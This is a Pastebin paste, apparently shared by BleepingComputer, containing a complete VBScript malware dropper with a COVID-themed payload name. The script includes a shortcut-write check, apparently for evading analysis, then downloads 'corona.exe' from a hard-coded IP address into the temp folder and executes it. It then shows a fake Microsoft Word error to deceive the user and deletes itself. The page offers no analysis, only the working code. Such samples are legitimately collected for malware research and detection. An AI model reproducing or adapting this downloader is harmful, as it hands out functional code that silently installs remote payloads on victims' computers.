Advertisement
BleepingComputer

Untitled

Mar 23rd, 2020
938
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.13 KB | None | 0 0
  1. on error resume next
  2. set WshShell = CreateObject("WScript.Shell")
  3. Set FSO = CreateObject("Scripting.FileSystemObject")
  4. Path = WshShell.ExpandEnvironmentStrings("%TEMP%") & "\Facebook.url"
  5. set oUrlLink = WshShell.CreateShortcut(Path)
  6. oUrlLink.TargetPath = "https://facebook.com"
  7. oUrlLink.Save(S)
  8. if (FSO.FileExists(Path)) Then
  9. WScript.Echo "Error!"
  10. else
  11. Dim xml,ws,db,filepath,URL
  12. xml = "MSXML2.ServerXMLHTTP.3.0"
  13. ws = "WScript.Shell"
  14. db = "Adodb.Stream"
  15. Set wshs = createobject(ws)
  16. filepath = wshs.ExpandEnvironmentStrings("%TEMP%") & "\HhKFW.exe"
  17. URL = "http://185.62.188.204/hunt/post/corona.exe"
  18. end if
  19.  
  20. Call prog
  21. sub prog
  22. dim msxml: Set msxml = createobject(xml)
  23. dim stream: Set stream = createobject(db)
  24. msxml.Open "GET", URL, False
  25. msxml.SetRequestHeader "User-Agent", "vkTSNOQeMcMuTaPWpQtJYbp"
  26. msxml.Send
  27. with stream
  28. .type = 1
  29. .open
  30. .write msxml.responseBody
  31. .savetofile filepath, 2
  32. end with
  33. wshs.Exec(filepath)
  34. end sub
  35. wshs.Popup "Error: File is broken", 0, "Microsoft Word", 0 + 48
  36. FSO.GetFile(WScript.ScriptFullName).delete
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement